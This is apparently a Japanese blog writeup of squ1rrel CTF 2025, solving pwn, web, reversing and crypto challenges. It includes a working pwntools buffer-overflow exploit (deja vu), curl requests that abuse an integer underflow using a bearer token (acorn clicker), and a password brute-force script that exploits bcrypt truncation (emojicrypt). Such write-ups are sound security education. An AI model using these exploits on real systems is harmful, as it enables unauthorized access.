以下の内容はhttps://yocchin.hatenablog.com/entry/2025/04/07/075843より取得しました。


squ1rrel CTF 2025 Writeup

この大会は2025/4/5 8:00(JST)~2025/4/7 2:00(JST)に開催されました。
今回もチームで参戦。結果は1270点で611チーム中150位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

squ1rrel{good_luck!}

deja vu (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_48 [64];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  printf("pwnme: ");
  gets(local_48);
  return 0;
}

void win(void)

{
  char local_78 [104];
  FILE *local_10;
  
  local_78[0] = '\0';
  local_78[1] = '\0';
  local_78[2] = '\0';
  local_78[3] = '\0';
  local_78[4] = '\0';
  local_78[5] = '\0';
  local_78[6] = '\0';
  local_78[7] = '\0';
  local_78[8] = '\0';
  local_78[9] = '\0';
  local_78[10] = '\0';
  local_78[0xb] = '\0';
  local_78[0xc] = '\0';
  local_78[0xd] = '\0';
  local_78[0xe] = '\0';
  local_78[0xf] = '\0';
  local_78[0x10] = '\0';
  local_78[0x11] = '\0';
  local_78[0x12] = '\0';
  local_78[0x13] = '\0';
  local_78[0x14] = '\0';
  local_78[0x15] = '\0';
  local_78[0x16] = '\0';
  local_78[0x17] = '\0';
  local_78[0x18] = '\0';
  local_78[0x19] = '\0';
  local_78[0x1a] = '\0';
  local_78[0x1b] = '\0';
  local_78[0x1c] = '\0';
  local_78[0x1d] = '\0';
  local_78[0x1e] = '\0';
  local_78[0x1f] = '\0';
  local_78[0x20] = '\0';
  local_78[0x21] = '\0';
  local_78[0x22] = '\0';
  local_78[0x23] = '\0';
  local_78[0x24] = '\0';
  local_78[0x25] = '\0';
  local_78[0x26] = '\0';
  local_78[0x27] = '\0';
  local_78[0x28] = '\0';
  local_78[0x29] = '\0';
  local_78[0x2a] = '\0';
  local_78[0x2b] = '\0';
  local_78[0x2c] = '\0';
  local_78[0x2d] = '\0';
  local_78[0x2e] = '\0';
  local_78[0x2f] = '\0';
  local_78[0x30] = '\0';
  local_78[0x31] = '\0';
  local_78[0x32] = '\0';
  local_78[0x33] = '\0';
  local_78[0x34] = '\0';
  local_78[0x35] = '\0';
  local_78[0x36] = '\0';
  local_78[0x37] = '\0';
  local_78[0x38] = '\0';
  local_78[0x39] = '\0';
  local_78[0x3a] = '\0';
  local_78[0x3b] = '\0';
  local_78[0x3c] = '\0';
  local_78[0x3d] = '\0';
  local_78[0x3e] = '\0';
  local_78[0x3f] = '\0';
  local_78[0x40] = '\0';
  local_78[0x41] = '\0';
  local_78[0x42] = '\0';
  local_78[0x43] = '\0';
  local_78[0x44] = '\0';
  local_78[0x45] = '\0';
  local_78[0x46] = '\0';
  local_78[0x47] = '\0';
  local_78[0x48] = '\0';
  local_78[0x49] = '\0';
  local_78[0x4a] = '\0';
  local_78[0x4b] = '\0';
  local_78[0x4c] = '\0';
  local_78[0x4d] = '\0';
  local_78[0x4e] = '\0';
  local_78[0x4f] = '\0';
  local_78[0x50] = '\0';
  local_78[0x51] = '\0';
  local_78[0x52] = '\0';
  local_78[0x53] = '\0';
  local_78[0x54] = '\0';
  local_78[0x55] = '\0';
  local_78[0x56] = '\0';
  local_78[0x57] = '\0';
  local_78[0x58] = '\0';
  local_78[0x59] = '\0';
  local_78[0x5a] = '\0';
  local_78[0x5b] = '\0';
  local_78[0x5c] = '\0';
  local_78[0x5d] = '\0';
  local_78[0x5e] = '\0';
  local_78[0x5f] = '\0';
  local_78[0x60] = '\0';
  local_78[0x61] = '\0';
  local_78[0x62] = '\0';
  local_78[99] = '\0';
  puts("You got it!!");
  local_10 = (FILE *)FUN_00401100("flag.txt",&DAT_00402015);
  if (local_10 == (FILE *)0x0) {
    puts("Error: Could not open flag.txt (create this file for testing)");
  }
  else {
    fgets(local_78,100,local_10);
    printf("%s",local_78);
    fclose(local_10);
  }
  return;
}

BOFでwin関数をコールすればよい。

$ ROPgadget --binary deja-vu | grep ": ret"
0x000000000040101a : ret
0x000000000040105a : ret 0xffff
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('20.84.72.194', 5000)
else:
    p = process('./deja-vu')

elf = ELF('./deja-vu')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 20.84.72.194 on port 5000: Done
[*] '/mnt/hgfs/Shared/deja-vu'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
pwnme: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xf6\x11@\x00\x00\x00\x00\x00'
You got it!!
squ1rrel{w3v3_b33n_h3r3_b3f0r3_n0w_0nt0_b1gger_4nd_better}
[*] Closed connection to 20.84.72.194 port 5000
squ1rrel{w3v3_b33n_h3r3_b3f0r3_n0w_0nt0_b1gger_4nd_better}

droid (rev)

Bytecode Viewerでデコンパイルする。nisa\nisalashouse2\MainActivityKt.classは以下のようなコードになる。

public final class MainActivityKt {
   private static final int[] expected = new int[]{110, 150, 207, 72, 80, 147, 236, 122, 155, 186, 15, 250, 149, 240, 243, 207, 21, 59, 90, 3, 173, 237, 86, 27, 70, 28, 30, 188, 23, 153, 88};
   private static final int[] key = new int[]{29, 231, 186, 121, 34, 225, 137, 22, 224, 209, 63, 142, 249, 193, 157, 144, 124, 72, 5, 96, 157, 221, 103, 68, 40, 45, 109, 136, 123, 173, 37};

                :
                :

   public static final boolean check(String var0) {
      Intrinsics.checkNotNullParameter(var0, "text");
      if (var0.length() != expected.length) {
         return false;
      } else {
         int[] var3 = new int[expected.length];
         int var1 = 0;

         for(int var2 = expected.length; var1 < var2; ++var1) {
            var3[var1] = var0.charAt(var1) ^ key[var1];
         }

         var0 = ArraysKt.joinToString$default(var3, (CharSequence)null, (CharSequence)null, (CharSequence)null, 0, (CharSequence)null, (Function1)null, 63, (Object)null);
         System.out.println(var0);
         var0 = ArraysKt.joinToString$default(expected, (CharSequence)null, (CharSequence)null, (CharSequence)null, 0, (CharSequence)null, (Function1)null, 63, (Object)null);
         System.out.println(var0);
         return Arrays.equals(var3, expected);
      }
   }

   public static final int[] getExpected() {
      return expected;
   }

   public static final int[] getKey() {
      return key;
   }
}

expectedとkeyの値をXORして文字にすればよい。

>>> expected = [110, 150, 207, 72, 80, 147, 236, 122, 155, 186, 15, 250, 149, 240, 243, 207, 21, 59, 90, 3, 173, 237, 86, 27, 70, 28, 30, 188, 23, 153, 88]
>>> key = [29, 231, 186, 121, 34, 225, 137, 22, 224, 209, 63, 142, 249, 193, 157, 144, 124, 72, 5, 96, 157, 221, 103, 68, 40, 45, 109, 136, 123, 173, 37]
>>> ''.join([chr(c ^ k) for c, k in  zip(expected, key)])
'squ1rrel{k0tl1n_is_c001_n1s4l4}'
squ1rrel{k0tl1n_is_c001_n1s4l4}

acorn clicker (web)

/api/clickでamountに指定できるのは10未満。フラグを得るためには999999999999999999稼ぐ必要がある。
マイナス値を指定して大きい値にする。

$ curl http://52.188.82.43:8090/api/click -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imt1cm9uZWNvIiwiaWF0IjoxNzQzODIzODg3LCJleHAiOjE3NDM4Mjc0ODd9.TejMfHJveY8Mz6d5warfveooyU4zNbx6ExvulOzV24E" -H "Content-Type: application/json" -d '{"amount": -1}'
{"earned":-1}
$ curl http://52.188.82.43:8090/api/balance -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imt1cm9uZWNvIiwiaWF0IjoxNzQzODIzODg3LCJleHAiOjE3NDM4Mjc0ODd9.TejMfHJveY8Mz6d5warfveooyU4zNbx6ExvulOzV24E"
{"balance":"18446744073709551615"}
$ curl http://52.188.82.43:8090/api/buy-squirrel -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imt1cm9uZWNvIiwiaWF0IjoxNzQzODIzODg3LCJleHAiOjE3NDM4Mjc0ODd9.TejMfHJveY8Mz6d5warfveooyU4zNbx6ExvulOzV24E" -H "Content-Type: application/json" -d '{"type": "flag_squirrel"}'
{"message":"squ1rrel{1nc0rr3ct_d3s3r1al1zat10n?_1n_MY_m0ng0?}"}
squ1rrel{1nc0rr3ct_d3s3r1al1zat10n?_1n_MY_m0ng0?}

emojicrypt (web)

Email addressとUsernameを登録すると、内部的に以下のようにDBに登録される。

・salt: 'aa'で結合したランダムな絵文字21個の結合文字列
・random_password: ランダムな数字32桁の文字列
・password_hash: bcryptでsalt + random_passwordのUTF-8エンコード文字列をハッシュ化したもの

UsernameとPasswordを入力して、この登録情報とbcryptの認証が通ればよい。bcryptは72文字を超える文字を省略する。
saltのUTF-8エンコード文字列の長さは70文字になるため、パスワードとしては2文字だけ合えばよい。100パターンをブルートフォースする。

#!/usr/bin/env python3
import requests

url = 'http://52.188.82.43:8060/login'

for i in range(100):
    password = str(i).zfill(2)
    payload = {'username': '<登録ユーザ名>', 'password': password}
    r = requests.post(url, data=payload, allow_redirects=False)
    if 'Location' not in r.headers:
        print(password)
        break

登録したユーザについて実行した結果、以下のパスワードで通ることがわかった。

39

Usernameに登録したUsername、Passwordに39を指定してログインすると、フラグが表示された。

squ1rrel{turns_out_the_emojis_werent_that_useful_after_all}

XOR 101 (crypto)

問題文からおそらく鍵は数字文字列で13桁。XORして英数字または"_"になる可能性があるパターンをすべて列挙する。その際フラグの先頭は、"squ1rrel{"から始まることを前提とする。

#!/usr/bin/env python3
from string import *

ct = '434542034a46505a4c516a6a5e496b5b025b5f6a46760a0c420342506846085b6a035f084b616c5f66685f616b535a035f6641035f6b7b5d765348'
ct = bytes.fromhex(ct)

head_flag = 'squ1rrel{'

round = len(ct) // 13
remain = len(ct) % 13
assert remain < len(head_flag)

chars = digits + ascii_letters + '_'

keys = [''] * 13
for i in range(len(head_flag)):
    keys[i] = [chr(ord(head_flag[i]) ^ ct[i])]

for i in range(len(head_flag), 13):
    for j in range(round):
        key = []
        if j == 0:
            for k in range(10):
                c = chr(ct[i+13*j] ^ ord(str(k)))
                if c in chars:
                    key.append(str(k))
            keys[i] = key
        else:
            for k in range(10):
                c = chr(ct[i+13*j] ^ ord(str(k)))
                if c in chars:
                    key.append(str(k))
            keys[i] = list(set(keys[i]) & set(key))

    keys[i] = sorted(keys[i])

for i in range(len(ct)):
    ks = keys[i % len(keys)]
    for k in ks:
        m = chr(ct[i] ^ ord(k))
        print('[+] index: %d, key: %s -> %s' % (i, k, m))

実行結果は以下の通り。

[+] index: 0, key: 0 -> s
[+] index: 1, key: 4 -> q
[+] index: 2, key: 7 -> u
[+] index: 3, key: 2 -> 1
[+] index: 4, key: 8 -> r
[+] index: 5, key: 4 -> r
[+] index: 6, key: 5 -> e
[+] index: 7, key: 6 -> l
[+] index: 8, key: 7 -> {
[+] index: 9, key: 8 -> i
[+] index: 9, key: 9 -> h
[+] index: 10, key: 9 -> S
[+] index: 11, key: 0 -> Z
[+] index: 11, key: 2 -> X
[+] index: 11, key: 3 -> Y
[+] index: 11, key: 5 -> _
[+] index: 11, key: 8 -> R
[+] index: 12, key: 3 -> m
[+] index: 12, key: 4 -> j
[+] index: 12, key: 5 -> k
[+] index: 12, key: 6 -> h
[+] index: 13, key: 0 -> y
[+] index: 14, key: 4 -> _
[+] index: 15, key: 7 -> l
[+] index: 16, key: 2 -> 0
[+] index: 17, key: 8 -> c
[+] index: 18, key: 4 -> k
[+] index: 19, key: 5 -> _
[+] index: 20, key: 6 -> p
[+] index: 21, key: 7 -> A
[+] index: 22, key: 8 -> 2
[+] index: 22, key: 9 -> 3
[+] index: 23, key: 9 -> 5
[+] index: 24, key: 0 -> r
[+] index: 24, key: 2 -> p
[+] index: 24, key: 3 -> q
[+] index: 24, key: 5 -> w
[+] index: 24, key: 8 -> z
[+] index: 25, key: 3 -> 0
[+] index: 25, key: 4 -> 7
[+] index: 25, key: 5 -> 6
[+] index: 25, key: 6 -> 5
[+] index: 26, key: 0 -> r
[+] index: 27, key: 4 -> d
[+] index: 28, key: 7 -> _
[+] index: 29, key: 2 -> t
[+] index: 30, key: 8 -> 0
[+] index: 31, key: 4 -> o
[+] index: 32, key: 5 -> _
[+] index: 33, key: 6 -> 5
[+] index: 34, key: 7 -> h
[+] index: 35, key: 8 -> 0
[+] index: 35, key: 9 -> 1
[+] index: 36, key: 9 -> r
[+] index: 37, key: 0 -> Q
[+] index: 37, key: 2 -> S
[+] index: 37, key: 3 -> R
[+] index: 37, key: 5 -> T
[+] index: 37, key: 8 -> Y
[+] index: 38, key: 3 -> _
[+] index: 38, key: 4 -> X
[+] index: 38, key: 5 -> Y
[+] index: 38, key: 6 -> Z
[+] index: 39, key: 0 -> o
[+] index: 40, key: 4 -> R
[+] index: 41, key: 7 -> _
[+] index: 42, key: 2 -> m
[+] index: 43, key: 8 -> Y
[+] index: 44, key: 4 -> _
[+] index: 45, key: 5 -> f
[+] index: 46, key: 6 -> l
[+] index: 47, key: 7 -> 4
[+] index: 48, key: 8 -> g
[+] index: 48, key: 9 -> f
[+] index: 49, key: 9 -> _
[+] index: 50, key: 0 -> q
[+] index: 50, key: 2 -> s
[+] index: 50, key: 3 -> r
[+] index: 50, key: 5 -> t
[+] index: 50, key: 8 -> y
[+] index: 51, key: 3 -> 0
[+] index: 51, key: 4 -> 7
[+] index: 51, key: 5 -> 6
[+] index: 51, key: 6 -> 5
[+] index: 52, key: 0 -> o
[+] index: 53, key: 4 -> _
[+] index: 54, key: 7 -> L
[+] index: 55, key: 2 -> o
[+] index: 56, key: 8 -> N
[+] index: 57, key: 4 -> g
[+] index: 58, key: 5 -> }

これからフラグになるような文字列を組み合わせる。

鍵が以下の時にフラグになりそう。

0472845678953

この場合、以下のように復号できる。

squ1rrel{iS_m
y_l0ck_pA25w0
rd_t0o_5h0rT_
oR_mY_fl4g_t0
o_LoNg}
squ1rrel{iS_my_l0ck_pA25w0rd_t0o_5h0rT_oR_mY_fl4g_t0o_LoNg}

Secure Vigenere (crypto)

$ nc 20.84.72.194 5007
Welcome! Here's the flag! It's just encrypted with a vigenere cipher with a random key! The key is a random length, and I randomly picked letters from "squirrelctf" to encrypt the flag! With so much randomness there's no way you can decrypt the flag, right?
Flag: bkmsyozktldtgcmtieqqeotjxigcjv

"squirrelctf"から鍵を使っているので、何回か暗号文を取得し、可能性のある平文を特定する。

#!/usr/bin/env python3
import socket
from string import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def decrypt(c, k):
    i_c = ascii_lowercase.index(c)
    i_k = ascii_lowercase.index(k)
    i = (i_c - i_k) % 26
    return ascii_lowercase[i]

keys = sorted(list(set(list('squirrelctf'))))

flags = [''] * 30
init = True
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('20.84.72.194', 5007))

    for _ in range(2):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
    ct = data.split(' ')[-1]

    s.close()

    if init:
        for i in range(len(ct)):
            chars = []
            for k in keys:
                char = decrypt(ct[i], k)
                chars.append(char)
            flags[i] = chars
        init = False
    else:
        for i in range(len(ct)):
            chars = []
            for k in keys:
                char = decrypt(ct[i], k)
                chars.append(char)
            flags[i] = list(set(flags[i]) & set(chars))

    final = True
    for i in range(30):
        if len(flags[i]) != 1:
            final = False
            break
    if final:
        break

flag = ''
for i in range(30):
    flag += flags[i][0]

flag = 'squ1rrel{%s}' % flag
print(flag)

実行結果は以下の通り。

                :
Welcome! Here's the flag! It's just encrypted with a vigenere cipher with a random key! The key is a random length, and I randomly picked letters from "squirrelctf" to encrypt the flag! With so much randomness there's no way you can decrypt the flag, right?
Flag: amxglljkvcvtirasqlztpneuauwzjx
Welcome! Here's the flag! It's just encrypted with a vigenere cipher with a random key! The key is a random length, and I randomly picked letters from "squirrelctf" to encrypt the flag! With so much randomness there's no way you can decrypt the flag, right?
Flag: tbsgyksmciyvsqtslbtgralldmnmvi
Welcome! Here's the flag! It's just encrypted with a vigenere cipher with a random key! The key is a random length, and I randomly picked letters from "squirrelctf" to encrypt the flag! With so much randomness there's no way you can decrypt the flag, right?
Flag: mxzszlykwsvoidbhrncsemldkvsczv
squ1rrel{ithoughtrandomizationwassecure}
squ1rrel{ithoughtrandomizationwassecure}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/04/07/075843より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14